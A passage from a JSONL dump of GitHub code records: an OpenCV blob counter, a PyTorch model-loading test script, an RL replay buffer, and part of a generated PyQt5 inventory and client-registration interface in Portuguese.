morbida.'.format(cor['red_underline']))\n","repo_name":"da-ferreira/curso-em-video","sub_path":"Python/exercícios/ex043.py","file_name":"ex043.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"10966275534","text":"import cv2, os\r\nimport numpy as np\r\n\r\n#Some Visual Studio Code bullshit because it cant find the image????\r\nos.chdir('C:\\Program Files\\Python\\projects\\Blob')\r\n\r\n#Get image input\r\norig_image = cv2.imread(\"real2.jpg\")\r\nimage = orig_image.copy()\r\n\r\n#Image Masking\r\n# Blur image to get rid of noise\r\nimage = cv2.GaussianBlur(image, (3, 3), cv2.BORDER_DEFAULT)\r\n# Convert to hue-saturation-value\r\nh, s, v = cv2.split(cv2.cvtColor(image, cv2.COLOR_BGR2HSV))\r\n# \"Roll\" the hue value so reds (which would otherwise be at 0 and 255) are in the middle instead.\r\n# This makes it easier to use `inRange` without needing to AND masks together.\r\nimage = cv2.merge(((h + 128) % 255, s, v))\r\n# Select the correct hues with saturated-enough, bright-enough colors.\r\nmasked_image = cv2.inRange(image, np.array([40, 128, 100]), np.array([140, 255, 255]))\r\n\r\n#Blob counter\r\nmask = np.zeros(masked_image.shape, dtype=np.uint8)\r\nthresh = cv2.threshold(masked_image,0,255,cv2.THRESH_OTSU + cv2.THRESH_BINARY)[1]\r\nkernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (7,7))\r\nopening = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel, iterations=5)\r\n\r\ncnts = cv2.findContours(opening, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\ncnts = cnts[0] if len(cnts) == 2 else cnts[1]\r\n\r\nblobs = 0\r\nfor c in cnts:\r\n area = cv2.contourArea(c)\r\n cv2.drawContours(mask, [c], -1, (36,255,12), -1)\r\n if area > 13000:\r\n blobs += 2\r\n else:\r\n blobs += 1\r\n\r\nprint('blobs:', blobs)\r\n\r\ncv2.imshow('image', orig_image)\r\n#cv2.imshow('Initial Masking', masked_image)\r\n#cv2.imshow('mask', mask)\r\n#cv2.imshow('thresh', thresh)\r\ncv2.imshow('opening', opening)\r\ncv2.waitKey()","repo_name":"subwayfootlong/SP-Leaning","sub_path":"blobcounter/working.py","file_name":"working.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"31242920047","text":"import torch\nimport model\nimport dataset\nfrom torchvision.transforms import transforms\nfrom torch.utils.data import DataLoader\n\n#model path\nMODEL_FILE = 'CNN.pth'\nMODEL_STATE_FILE = 'CNN_state_dict.pth'\n\n#set device\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n#Make test dataset with transform included\ncomposed_transform = transforms.Compose([transforms.ToTensor(),\n transforms.Normalize(mean = (0.5, 0.5, 0.5 ), std = (0.5, 0.5, 0.5))])\ntest_dataset = dataset.TestSet(transform = composed_transform)\ntest_loader = DataLoader(dataset = test_dataset, batch_size = 16, shuffle = False)\n\n#there are two ways to declare model\n#the second is recommended\n\n#(1)load the whole model\nmodel = torch.load(\"CNN.pth\")\n#(2)load model state dict\n'''\nmodel = model.CNN().to(device)\nmodel.load_state_dict(torch.load(\"CNN_state_dict.pth\"))\n'''\n\n#model.eval() will turn off dropout and batchnorms for evaluation\nmodel.eval()\n\n#Test the model\n#Note: In test case, we do not want to calculate the gradients\nwith torch.no_grad():\n n_correct = 0\n n_samples = 0\n #you can also use for i, (images, labels) in enumerate(test_loader):\n #but now we don't care batch imformation, simple use this\n for images, labels in test_loader:\n images = images.to(device)\n labels = labels.to(device)\n output = model(images)\n #torch.max(tensor, dimention) will return [max tensor value, index] in a dimention of a tensor\n _, predicted = torch.max(output, 1)\n n_samples = n_samples + labels.shape[0]\n #Note (predicted == labels) is still a tensor with one element. We need to use item() to get a value\n #then we can compute divition\n n_correct = n_correct + (predicted == labels).sum().item()\n\nacc = n_correct / n_samples\nprint(f'test accuracy: {acc:.3f}')\n","repo_name":"ZachKLYeh/Pytorch-Basics","sub_path":"12_Save_and_Load_Models/load_model.py","file_name":"load_model.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"11810115166","text":"import numpy as np\nimport os\nfrom collections import namedtuple\nfrom typing import Union\nimport pickle\n\n# s{R, T_mask}, a{T, a}, r, s{R_new, T_mask_new}\nTransition = namedtuple('Transition', 'R_old T_mask a T reward R_new T_mask_new')\n\nclass Episode(object):\n def __init__(self):\n self.transitions = []\n\n def add(self, Transition):\n self.transitions.append(Transition)\n\n def compute_return(self, gamma):\n G = 0\n for t in self.transitions:\n G += t.reward*gamma\n return G\n\n def serialise_for_replay(self):\n pass\n\nclass ReplayBuffer(object):\n def __init__(self,\n max_size=int(1e5),\n random_state=np.random.RandomState\n ):\n self.max_size = max_size\n self.counter = 0\n self.current_index = 0\n # dictionary lookup is faster for large buffers\n self.storage = dict()\n self.rs = random_state\n\n def __len__(self):\n content = min(self.counter, self.max_size)\n return content\n\n def add(self, transition):\n self.current_index = self.current_index % self.max_size\n self.storage[self.current_index] = transition\n self.current_index += 1\n self.counter += 1\n\n def sample(self,\n batch_size):\n indices = self.rs.randint(0, self.__len__(), size=batch_size).tolist()\n\n # now gather things into a batch\n ls_trans = [self.storage[i] for i in indices]\n\n # now convert the batch into a transition object ( for convenience )\n retval = Transition(\n *[\n np.concatenate(\n [np.array(tr[i])[np.newaxis, :]\n if not np.isscalar(tr[i])\n else np.array(tr[i])[np.newaxis, np.newaxis]\n for tr in ls_trans], axis=0)\n for i in range(len(ls_trans[0]))\n ])\n\n return retval\n","repo_name":"wirmius/gym-PGFS-bias","sub_path":"gym_PGFS/rl/rlutils.py","file_name":"rlutils.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"41056973382","text":"from PyQt5 import QtCore, QtGui, QtWidgets\r\n\r\n\r\nclass Estoque(object):\r\n def setupUi(self, MainWindow):\r\n MainWindow.setObjectName(\"MainWindow\")\r\n MainWindow.resize(1106, 859)\r\n MainWindow.setStyleSheet(\"*{\\n\"\r\n\" margin:0px;\\n\"\r\n\" border: 0px;\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n self.centralwidget.setStyleSheet(\"*{\\n\"\r\n\" margin:0px;\\n\"\r\n\" border: 0px;\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.centralwidget)\r\n self.horizontalLayout.setSpacing(0)\r\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\r\n self.menu_animado = QtWidgets.QFrame(self.centralwidget)\r\n self.menu_animado.setMinimumSize(QtCore.QSize(0, 0))\r\n self.menu_animado.setMaximumSize(QtCore.QSize(0, 16777215))\r\n self.menu_animado.setStyleSheet(\"QWidget{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 15px;\\n\"\r\n\"}\")\r\n self.menu_animado.setObjectName(\"menu_animado\")\r\n self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.menu_animado)\r\n self.verticalLayout_2.setSizeConstraint(QtWidgets.QLayout.SetDefaultConstraint)\r\n self.verticalLayout_2.setContentsMargins(-1, -1, -1, 9)\r\n self.verticalLayout_2.setSpacing(9)\r\n self.verticalLayout_2.setObjectName(\"verticalLayout_2\")\r\n spacerItem = QtWidgets.QSpacerItem(16, 27, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\r\n self.verticalLayout_2.addItem(spacerItem)\r\n self.btn_estoque = QtWidgets.QPushButton(self.menu_animado)\r\n self.btn_estoque.setMinimumSize(QtCore.QSize(0, 50))\r\n self.btn_estoque.setMaximumSize(QtCore.QSize(16777215, 50))\r\n self.btn_estoque.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_estoque.setStyleSheet(\"QPushButton{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" background: rgba(35, 85, 141, 0.86);\\n\"\r\n\" border-radius: 16px;\\n\"\r\n\" box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\\n\"\r\n\" backdrop-filter: blur(5px);\\n\"\r\n\" -webkit-backdrop-filter: blur(5px);\\n\"\r\n\" border: 1px solid rgba(62, 110, 164, 0.4);\\n\"\r\n\"}\")\r\n self.btn_estoque.setText(\"\")\r\n icon = QtGui.QIcon()\r\n icon.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/Produtos.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btn_estoque.setIcon(icon)\r\n self.btn_estoque.setIconSize(QtCore.QSize(58, 65))\r\n self.btn_estoque.setFlat(True)\r\n self.btn_estoque.setObjectName(\"btn_estoque\")\r\n self.verticalLayout_2.addWidget(self.btn_estoque)\r\n self.bnt_add_cliente = QtWidgets.QPushButton(self.menu_animado)\r\n self.bnt_add_cliente.setEnabled(True)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(self.bnt_add_cliente.sizePolicy().hasHeightForWidth())\r\n self.bnt_add_cliente.setSizePolicy(sizePolicy)\r\n self.bnt_add_cliente.setMinimumSize(QtCore.QSize(0, 50))\r\n self.bnt_add_cliente.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.bnt_add_cliente.setStyleSheet(\"QPushButton{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" background: rgba(35, 85, 141, 0.86);\\n\"\r\n\" border-radius: 16px;\\n\"\r\n\" box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\\n\"\r\n\" backdrop-filter: blur(5px);\\n\"\r\n\" -webkit-backdrop-filter: blur(5px);\\n\"\r\n\" border: 1px solid rgba(62, 110, 164, 0.4);\\n\"\r\n\"}\")\r\n self.bnt_add_cliente.setText(\"\")\r\n icon1 = QtGui.QIcon()\r\n icon1.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/add_users.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.bnt_add_cliente.setIcon(icon1)\r\n self.bnt_add_cliente.setIconSize(QtCore.QSize(70, 46))\r\n self.bnt_add_cliente.setFlat(True)\r\n self.bnt_add_cliente.setObjectName(\"bnt_add_cliente\")\r\n self.verticalLayout_2.addWidget(self.bnt_add_cliente)\r\n self.btn_pix = QtWidgets.QPushButton(self.menu_animado)\r\n self.btn_pix.setMinimumSize(QtCore.QSize(0, 50))\r\n self.btn_pix.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_pix.setStyleSheet(\"QPushButton{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" background: rgba(35, 85, 141, 0.86);\\n\"\r\n\" border-radius: 16px;\\n\"\r\n\" box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\\n\"\r\n\" backdrop-filter: blur(5px);\\n\"\r\n\" -webkit-backdrop-filter: blur(5px);\\n\"\r\n\" border: 1px solid rgba(62, 110, 164, 0.4);\\n\"\r\n\"}\")\r\n self.btn_pix.setText(\"\")\r\n icon2 = QtGui.QIcon()\r\n icon2.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/logo-pix-png-954x339.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btn_pix.setIcon(icon2)\r\n self.btn_pix.setIconSize(QtCore.QSize(97, 43))\r\n self.btn_pix.setFlat(True)\r\n self.btn_pix.setObjectName(\"btn_pix\")\r\n self.verticalLayout_2.addWidget(self.btn_pix)\r\n spacerItem1 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)\r\n self.verticalLayout_2.addItem(spacerItem1)\r\n self.engrenagem = QtWidgets.QPushButton(self.menu_animado)\r\n self.engrenagem.setMinimumSize(QtCore.QSize(0, 50))\r\n self.engrenagem.setStyleSheet(\"QPushButton{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QPushButton:hover{\\n\"\r\n\" background: rgba(35, 85, 141, 0.86);\\n\"\r\n\" border-radius: 16px;\\n\"\r\n\" box-shadow: 0 4px 30px rgba(0, 0, 0, 0.1);\\n\"\r\n\" backdrop-filter: blur(5px);\\n\"\r\n\" -webkit-backdrop-filter: blur(5px);\\n\"\r\n\" border: 1px solid rgba(62, 110, 164, 0.4);\\n\"\r\n\"}\")\r\n self.engrenagem.setText(\"\")\r\n icon3 = QtGui.QIcon()\r\n icon3.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/engrenagem_ico.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.engrenagem.setIcon(icon3)\r\n self.engrenagem.setIconSize(QtCore.QSize(80, 44))\r\n self.engrenagem.setFlat(True)\r\n self.engrenagem.setObjectName(\"engrenagem\")\r\n self.verticalLayout_2.addWidget(self.engrenagem)\r\n self.horizontalLayout.addWidget(self.menu_animado)\r\n self.conteudo = QtWidgets.QWidget(self.centralwidget)\r\n self.conteudo.setStyleSheet(\"QWidget{\\n\"\r\n\" \\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.conteudo.setObjectName(\"conteudo\")\r\n self.verticalLayout = QtWidgets.QVBoxLayout(self.conteudo)\r\n self.verticalLayout.setSpacing(0)\r\n self.verticalLayout.setObjectName(\"verticalLayout\")\r\n self.menu_superior = QtWidgets.QWidget(self.conteudo)\r\n self.menu_superior.setMinimumSize(QtCore.QSize(0, 77))\r\n self.menu_superior.setStyleSheet(\"QWidget{\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 17px;\\n\"\r\n\"}\")\r\n self.menu_superior.setObjectName(\"menu_superior\")\r\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.menu_superior)\r\n self.horizontalLayout_2.setSpacing(0)\r\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\r\n self.btn_menu = QtWidgets.QPushButton(self.menu_superior)\r\n self.btn_menu.setMaximumSize(QtCore.QSize(60, 80))\r\n self.btn_menu.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_menu.setStyleSheet(\"background-color: rgb(37, 77, 122);\")\r\n self.btn_menu.setText(\"\")\r\n icon4 = QtGui.QIcon()\r\n icon4.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/menu_barra.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btn_menu.setIcon(icon4)\r\n self.btn_menu.setIconSize(QtCore.QSize(50, 55))\r\n self.btn_menu.setFlat(True)\r\n self.btn_menu.setObjectName(\"btn_menu\")\r\n self.horizontalLayout_2.addWidget(self.btn_menu)\r\n self.txt_bem_vindo = QtWidgets.QLineEdit(self.menu_superior)\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n font.setBold(False)\r\n font.setItalic(True)\r\n font.setWeight(50)\r\n font.setStrikeOut(False)\r\n font.setKerning(True)\r\n self.txt_bem_vindo.setFont(font)\r\n self.txt_bem_vindo.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor))\r\n self.txt_bem_vindo.setFocusPolicy(QtCore.Qt.NoFocus)\r\n self.txt_bem_vindo.setStyleSheet(\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border: none;\")\r\n self.txt_bem_vindo.setObjectName(\"txt_bem_vindo\")\r\n self.horizontalLayout_2.addWidget(self.txt_bem_vindo)\r\n self.btn_sair = QtWidgets.QPushButton(self.menu_superior)\r\n self.btn_sair.setMaximumSize(QtCore.QSize(60, 80))\r\n self.btn_sair.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_sair.setStyleSheet(\"background-color: rgb(37, 77, 122);\")\r\n self.btn_sair.setText(\"\")\r\n icon5 = QtGui.QIcon()\r\n icon5.addPixmap(QtGui.QPixmap(\":/img/Nova pasta/sair.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\r\n self.btn_sair.setIcon(icon5)\r\n self.btn_sair.setIconSize(QtCore.QSize(79, 59))\r\n self.btn_sair.setFlat(True)\r\n self.btn_sair.setObjectName(\"btn_sair\")\r\n self.horizontalLayout_2.addWidget(self.btn_sair)\r\n self.verticalLayout.addWidget(self.menu_superior)\r\n self.stackedWidget = QtWidgets.QStackedWidget(self.conteudo)\r\n self.stackedWidget.setMinimumSize(QtCore.QSize(0, 43))\r\n self.stackedWidget.setObjectName(\"stackedWidget\")\r\n self.page_clientes = QtWidgets.QWidget()\r\n self.page_clientes.setObjectName(\"page_clientes\")\r\n self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.page_clientes)\r\n self.verticalLayout_3.setObjectName(\"verticalLayout_3\")\r\n self.widget_6 = QtWidgets.QWidget(self.page_clientes)\r\n self.widget_6.setObjectName(\"widget_6\")\r\n self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.widget_6)\r\n self.verticalLayout_4.setContentsMargins(8, -1, -1, -1)\r\n self.verticalLayout_4.setSpacing(16)\r\n self.verticalLayout_4.setObjectName(\"verticalLayout_4\")\r\n self.txt_cadastrar = QtWidgets.QLabel(self.widget_6)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(self.txt_cadastrar.sizePolicy().hasHeightForWidth())\r\n self.txt_cadastrar.setSizePolicy(sizePolicy)\r\n font = QtGui.QFont()\r\n font.setPointSize(22)\r\n self.txt_cadastrar.setFont(font)\r\n self.txt_cadastrar.setStyleSheet(\"QLabel{\\n\"\r\n\" color: rgb(37, 77, 122) ; \\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.txt_cadastrar.setObjectName(\"txt_cadastrar\")\r\n self.verticalLayout_4.addWidget(self.txt_cadastrar)\r\n self.widget_7 = QtWidgets.QWidget(self.widget_6)\r\n self.widget_7.setMaximumSize(QtCore.QSize(16777215, 61))\r\n self.widget_7.setObjectName(\"widget_7\")\r\n self.horizontalLayout_4 = QtWidgets.QHBoxLayout(self.widget_7)\r\n self.horizontalLayout_4.setContentsMargins(0, 10, 0, -1)\r\n self.horizontalLayout_4.setSpacing(0)\r\n self.horizontalLayout_4.setObjectName(\"horizontalLayout_4\")\r\n self.img_lupa_2 = QtWidgets.QLabel(self.widget_7)\r\n self.img_lupa_2.setMinimumSize(QtCore.QSize(51, 43))\r\n self.img_lupa_2.setMaximumSize(QtCore.QSize(51, 16777215))\r\n self.img_lupa_2.setStyleSheet(\"QLabel{\\n\"\r\n\" border: 3px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(37, 77, 122)\\n\"\r\n\"}\")\r\n self.img_lupa_2.setText(\"\")\r\n self.img_lupa_2.setPixmap(QtGui.QPixmap(\":/img/Nova pasta/lupa.png\"))\r\n self.img_lupa_2.setScaledContents(True)\r\n self.img_lupa_2.setWordWrap(False)\r\n self.img_lupa_2.setIndent(1)\r\n self.img_lupa_2.setObjectName(\"img_lupa_2\")\r\n self.horizontalLayout_4.addWidget(self.img_lupa_2)\r\n self.pesquisar_2 = QtWidgets.QLineEdit(self.widget_7)\r\n self.pesquisar_2.setMinimumSize(QtCore.QSize(0, 43))\r\n self.pesquisar_2.setMaximumSize(QtCore.QSize(282, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(14)\r\n font.setBold(False)\r\n font.setWeight(50)\r\n self.pesquisar_2.setFont(font)\r\n self.pesquisar_2.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"\")\r\n self.pesquisar_2.setObjectName(\"pesquisar_2\")\r\n self.horizontalLayout_4.addWidget(self.pesquisar_2)\r\n spacerItem2 = QtWidgets.QSpacerItem(422, 20, QtWidgets.QSizePolicy.MinimumExpanding, QtWidgets.QSizePolicy.Minimum)\r\n self.horizontalLayout_4.addItem(spacerItem2)\r\n self.date_cliente = QtWidgets.QLineEdit(self.widget_7)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Minimum)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(self.date_cliente.sizePolicy().hasHeightForWidth())\r\n self.date_cliente.setSizePolicy(sizePolicy)\r\n self.date_cliente.setMaximumSize(QtCore.QSize(135, 16777215))\r\n font = QtGui.QFont()\r\n font.setPointSize(24)\r\n self.date_cliente.setFont(font)\r\n self.date_cliente.setFocusPolicy(QtCore.Qt.NoFocus)\r\n self.date_cliente.setLayoutDirection(QtCore.Qt.LeftToRight)\r\n self.date_cliente.setStyleSheet(\"color:rgb(37, 77, 122);\")\r\n self.date_cliente.setFrame(True)\r\n self.date_cliente.setAlignment(QtCore.Qt.AlignCenter)\r\n self.date_cliente.setObjectName(\"date_cliente\")\r\n self.horizontalLayout_4.addWidget(self.date_cliente)\r\n self.verticalLayout_4.addWidget(self.widget_7)\r\n self.widget_4 = QtWidgets.QWidget(self.widget_6)\r\n self.widget_4.setObjectName(\"widget_4\")\r\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.widget_4)\r\n self.horizontalLayout_3.setContentsMargins(0, -1, -1, -1)\r\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\r\n self.insert_nome = QtWidgets.QLineEdit(self.widget_4)\r\n self.insert_nome.setMinimumSize(QtCore.QSize(199, 61))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_nome.setFont(font)\r\n self.insert_nome.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_nome.setObjectName(\"insert_nome\")\r\n self.horizontalLayout_3.addWidget(self.insert_nome)\r\n self.insert_carro = QtWidgets.QLineEdit(self.widget_4)\r\n self.insert_carro.setMinimumSize(QtCore.QSize(199, 61))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_carro.setFont(font)\r\n self.insert_carro.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_carro.setObjectName(\"insert_carro\")\r\n self.horizontalLayout_3.addWidget(self.insert_carro)\r\n self.insert_numero = QtWidgets.QLineEdit(self.widget_4)\r\n self.insert_numero.setMinimumSize(QtCore.QSize(199, 61))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_numero.setFont(font)\r\n self.insert_numero.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_numero.setObjectName(\"insert_numero\")\r\n self.horizontalLayout_3.addWidget(self.insert_numero)\r\n self.insert_placa = QtWidgets.QLineEdit(self.widget_4)\r\n self.insert_placa.setMinimumSize(QtCore.QSize(199, 61))\r\n font = QtGui.QFont()\r\n font.setPointSize(13)\r\n self.insert_placa.setFont(font)\r\n self.insert_placa.setStyleSheet(\"QLineEdit{\\n\"\r\n\" border: none;\\n\"\r\n\" border-bottom: 2px solid rgb(19, 79, 110) ;\\n\"\r\n\" background-color: rgb(255, 255, 255);\\n\"\r\n\"}\")\r\n self.insert_placa.setObjectName(\"insert_placa\")\r\n self.horizontalLayout_3.addWidget(self.insert_placa)\r\n spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.MinimumExpanding, QtWidgets.QSizePolicy.Minimum)\r\n self.horizontalLayout_3.addItem(spacerItem3)\r\n self.verticalLayout_4.addWidget(self.widget_4)\r\n self.widget_9 = QtWidgets.QWidget(self.widget_6)\r\n self.widget_9.setObjectName(\"widget_9\")\r\n self.horizontalLayout_8 = QtWidgets.QHBoxLayout(self.widget_9)\r\n self.horizontalLayout_8.setObjectName(\"horizontalLayout_8\")\r\n self.table_cliente = QtWidgets.QTableWidget(self.widget_9)\r\n font = QtGui.QFont()\r\n font.setPointSize(10)\r\n self.table_cliente.setFont(font)\r\n self.table_cliente.setStyleSheet(\"QTableWidget {\\n\"\r\n\" gridline-color: rgb(37, 77, 122);\\n\"\r\n\" background-color: transparent;\\n\"\r\n\" outline: 0;\\n\"\r\n\" border: 1px solid rgb(37, 77, 122);\\n\"\r\n\" border-top: 0px\\n\"\r\n\" \\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QTableWidget::item:selected{\\n\"\r\n\" background-color: rgb(87, 135, 189);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QTableWidget::horizontalHeader { \\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\"}\\n\"\r\n\"\\n\"\r\n\"QHeaderView::section:horizontal\\n\"\r\n\"{\\n\"\r\n\" border: 1px solid rgb(37, 77, 122);\\n\"\r\n\" background-color: transparent;\\n\"\r\n\" border-left: 0px;\\n\"\r\n\" color: black;\\n\"\r\n\"\\n\"\r\n\"}\\n\"\r\n\"\")\r\n self.table_cliente.setFrameShadow(QtWidgets.QFrame.Sunken)\r\n self.table_cliente.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection)\r\n self.table_cliente.setShowGrid(True)\r\n self.table_cliente.setObjectName(\"table_cliente\")\r\n self.table_cliente.setColumnCount(5)\r\n self.table_cliente.setRowCount(0)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n item.setFont(font)\r\n self.table_cliente.setHorizontalHeaderItem(0, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(11)\r\n item.setFont(font)\r\n self.table_cliente.setHorizontalHeaderItem(1, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(12)\r\n item.setFont(font)\r\n self.table_cliente.setHorizontalHeaderItem(2, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(11)\r\n item.setFont(font)\r\n self.table_cliente.horizontalHeader().setSectionResizeMode(1, QtWidgets.QHeaderView.Stretch)\r\n self.table_cliente.horizontalHeader().setSectionResizeMode(2, QtWidgets.QHeaderView.Stretch)\r\n self.table_cliente.horizontalHeader().setSectionResizeMode(3, QtWidgets.QHeaderView.Stretch)\r\n self.table_cliente.horizontalHeader().setSectionResizeMode(4, QtWidgets.QHeaderView.Stretch)\r\n self.table_cliente.setHorizontalHeaderItem(3, item)\r\n item = QtWidgets.QTableWidgetItem()\r\n font = QtGui.QFont()\r\n font.setPointSize(11)\r\n item.setFont(font)\r\n self.table_cliente.setHorizontalHeaderItem(4, item)\r\n self.table_cliente.horizontalHeader().setVisible(True)\r\n self.table_cliente.horizontalHeader().setHighlightSections(False)\r\n self.table_cliente.horizontalHeader().setSortIndicatorShown(False)\r\n self.table_cliente.horizontalHeader().setStretchLastSection(False)\r\n self.table_cliente.verticalHeader().setVisible(False)\r\n self.table_cliente.verticalHeader().setCascadingSectionResizes(False)\r\n self.table_cliente.verticalHeader().setHighlightSections(False)\r\n self.table_cliente.verticalHeader().setMinimumSectionSize(20)\r\n self.table_cliente.verticalHeader().setSortIndicatorShown(False)\r\n self.table_cliente.verticalHeader().setStretchLastSection(False)\r\n self.horizontalLayout_8.addWidget(self.table_cliente)\r\n self.widget_10 = QtWidgets.QWidget(self.widget_9)\r\n self.widget_10.setObjectName(\"widget_10\")\r\n self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.widget_10)\r\n self.verticalLayout_8.setObjectName(\"verticalLayout_8\")\r\n self.btn_cadastrar_cliente = QtWidgets.QPushButton(self.widget_10)\r\n self.btn_cadastrar_cliente.setMinimumSize(QtCore.QSize(191, 41))\r\n font = QtGui.QFont()\r\n font.setPointSize(15)\r\n self.btn_cadastrar_cliente.setFont(font)\r\n self.btn_cadastrar_cliente.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor))\r\n self.btn_cadastrar_cliente.setStyleSheet(\"QPushButton{\\n\"\r\n\" color: white;\\n\"\r\n\" background-color: rgb(37, 77, 122);\\n\"\r\n\" border-radius: 